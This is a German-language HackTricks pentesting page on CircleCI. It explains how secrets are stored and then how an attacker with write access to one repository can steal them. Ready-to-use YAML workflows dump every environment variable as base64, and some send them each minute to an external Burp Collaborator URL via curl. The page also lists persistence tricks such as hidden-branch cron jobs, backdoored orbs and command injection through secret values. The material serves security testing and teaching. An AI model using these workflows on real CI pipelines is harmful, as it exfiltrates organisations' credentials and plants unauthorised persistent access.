# CircleCI-Sicherheit {{#include ../banners/hacktricks-training.md}} ### Grundinformationen [**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ist eine Continuous Integration-Plattform, auf der Sie **Vorlagen definieren** können, die angeben, was Sie mit einem Code tun möchten und wann. Auf diese Weise können Sie **Tests** oder **Deployments** direkt **aus Ihrem Repo-Master-Branch** automatisieren. ### Berechtigungen **CircleCI** **erbt die Berechtigungen** von GitHub und Bitbucket, die mit dem **Konto** verbunden sind, das sich anmeldet.\ In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festlegen, Projekt-API-Schlüssel abrufen, neue Branches mit neuen CircleCI-Konfigurationen erstellen...). Sie müssen jedoch ein **Repo-Administrator** sein, um **das Repo in ein CircleCI-Projekt umzuwandeln**. ### Umgebungsvariablen & Geheimnisse Laut [**den Dokumenten**](https://circleci.com/docs/2.0/env-vars/) gibt es verschiedene Möglichkeiten, um **Werte in Umgebungsvariablen** innerhalb eines Workflows zu **laden**. #### Eingebaute Umgebungsvariablen Jeder Container, der von CircleCI ausgeführt wird, hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`. #### Klartext Sie können sie im Klartext innerhalb eines **Befehls** deklarieren: ```yaml - run: name: "set and echo" command: | SECRET="A secret" echo $SECRET ``` Sie können sie im Klartext innerhalb der **Ausführungsumgebung** deklarieren: ```yaml - run: name: "set and echo" command: echo $SECRET environment: SECRET: A secret ``` Sie können sie im Klartext innerhalb der **build-job Umgebung** deklarieren: ```yaml jobs: build-job: docker: - image: cimg/base:2020.01 environment: SECRET: A secret ``` Sie können sie im Klartext innerhalb der **Umgebung eines Containers** deklarieren: ```yaml jobs: build-job: docker: - image: cimg/base:2020.01 environment: SECRET: A secret ``` #### Projektgeheimnisse Dies sind **Geheimnisse**, die nur vom **Projekt** (von **irgendeinem Branch**) **zugänglich** sind.\ Sie können sie **deklariert in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ sehen. ![](<../images/image (129).png>) > [!CAUTION] > Die Funktionalität "**Variablen importieren**" ermöglicht es, **Variablen aus anderen Projekten** in dieses zu **importieren**. #### Kontextgeheimnisse Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** **auf jedes Geheimnis** zugreifen, das hier gespeichert ist: ![](<../images/image (123).png>) > [!TIP] > Beachten Sie jedoch, dass eine andere Gruppe (anstatt aller Mitglieder) **ausgewählt werden kann, um den Zugriff auf die Geheimnisse nur bestimmten Personen zu gewähren**.\ > Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder Zugriff darauf hat, sondern nur einige Personen. ### Angriffe #### Suche nach Klartextgeheimnissen Wenn Sie **Zugriff auf das VCS** (wie GitHub) haben, überprüfen Sie die Datei `.circleci/config.yml` von **jedem Repo in jedem Branch** und **suchen** Sie nach potenziellen **Klartextgeheimnissen**, die dort gespeichert sind. #### Aufzählung von geheimen Umgebungsvariablen & Kontexten Durch Überprüfung des Codes können Sie **alle Geheimnisnamen** finden, die in jeder `.circleci/config.yml`-Datei **verwendet** werden. Sie können auch die **Kontextnamen** aus diesen Dateien abrufen oder sie in der Webkonsole überprüfen: _https://app.circleci.com/settings/organization/github/\/contexts_. #### Exfiltration von Projektgeheimnissen > [!WARNING] > Um **ALLE** Projekt- und Kontext-**GEHEIMNISSE** zu **exfiltrieren**, müssen Sie **nur** **SCHREIBZUGRIFF** auf **nur 1 Repo** in der gesamten GitHub-Organisation haben (_und Ihr Konto muss Zugriff auf die Kontexte haben, aber standardmäßig kann jeder auf jeden Kontext zugreifen_). > [!CAUTION] > Die Funktionalität "**Variablen importieren**" ermöglicht es, **Variablen aus anderen Projekten** in dieses zu **importieren**. Daher könnte ein Angreifer **alle Projektvariablen aus allen Repos importieren** und dann **alle zusammen exfiltrieren**. Alle Projektgeheimnisse sind immer in der Umgebung der Jobs gesetzt, sodass das einfache Aufrufen von env und das Obfuskieren in base64 die Geheimnisse in der **Webprotokollkonsole der Workflows** exfiltriert: ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "env | base64" workflows: exfil-env-workflow: jobs: - exfil-env ``` Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow erstellen**, der **jede Minute ausgelöst wird** und der **die Geheimnisse an eine externe Adresse exfiltriert**: ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: exfil-env-workflow: triggers: - schedule: cron: "* * * * *" filters: branches: only: - circleci-project-setup jobs: - exfil-env ``` #### Exfiltriere Kontextgeheimnisse Du musst **den Kontextnamen angeben** (dies wird auch die Projektgeheimnisse exfiltrieren): ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "env | base64" workflows: exfil-env-workflow: jobs: - exfil-env: context: Test-Context ``` Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und **die Geheimnisse an eine externe Adresse exfiltriert**: ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: exfil-env-workflow: triggers: - schedule: cron: "* * * * *" filters: branches: only: - circleci-project-setup jobs: - exfil-env: context: Test-Context ``` > [!WARNING] > Das Erstellen einer neuen `.circleci/config.yml` in einem Repo **reicht nicht aus, um einen CircleCI-Build auszulösen**. Sie müssen **es als Projekt in der CircleCI-Konsole aktivieren**. #### Escape to Cloud **CircleCI** bietet Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\ Standardmäßig befinden sich ihre Maschinen in GCP, und anfangs werden Sie nichts Relevantes finden können. Wenn ein Opfer jedoch die Aufgaben auf **seinen eigenen Maschinen (möglicherweise in einer Cloud-Umgebung)** ausführt, könnten Sie einen **Cloud-Metadaten-Endpunkt mit interessanten Informationen darauf** finden. Beachten Sie, dass in den vorherigen Beispielen alles innerhalb eines Docker-Containers gestartet wurde, aber Sie können auch **bitten, eine VM-Maschine zu starten** (die möglicherweise unterschiedliche Cloud-Berechtigungen hat): ```yaml jobs: exfil-env: #docker: # - image: cimg/base:stable machine: image: ubuntu-2004:current ``` Oder sogar einen Docker-Container mit Zugriff auf einen Remote-Docker-Dienst: ```yaml jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - setup_remote_docker: version: 19.03.13 ``` #### Persistenz - Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit den Benutzerzugriffsrechten zuzugreifen. - _https://app.circleci.com/settings/user/tokens_ - Es ist möglich, **Projekttoken** zu erstellen, um auf das Projekt mit den dem Token gegebenen Berechtigungen zuzugreifen. - _https://app.circleci.com/settings/project/github/\/\/api_ - Es ist möglich, **SSH-Schlüssel** zu den Projekten hinzuzufügen. - _https://app.circleci.com/settings/project/github/\/\/ssh_ - Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Umgebungsvariablen** **leakt**. - Oder sogar in einem Branch einen bekannten Job zu erstellen/modifizieren, der jeden Tag alle **Kontext- und Projektheimlichkeiten** **leakt**. - Wenn Sie ein GitHub-Besitzer sind, können Sie **nicht verifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren. - Sie können eine **Befehlsinjektionsanfälligkeit** in einer bestimmten Aufgabe finden und **Befehle** über ein **Geheimnis** injizieren, indem Sie dessen Wert ändern. {{#include ../banners/hacktricks-training.md}}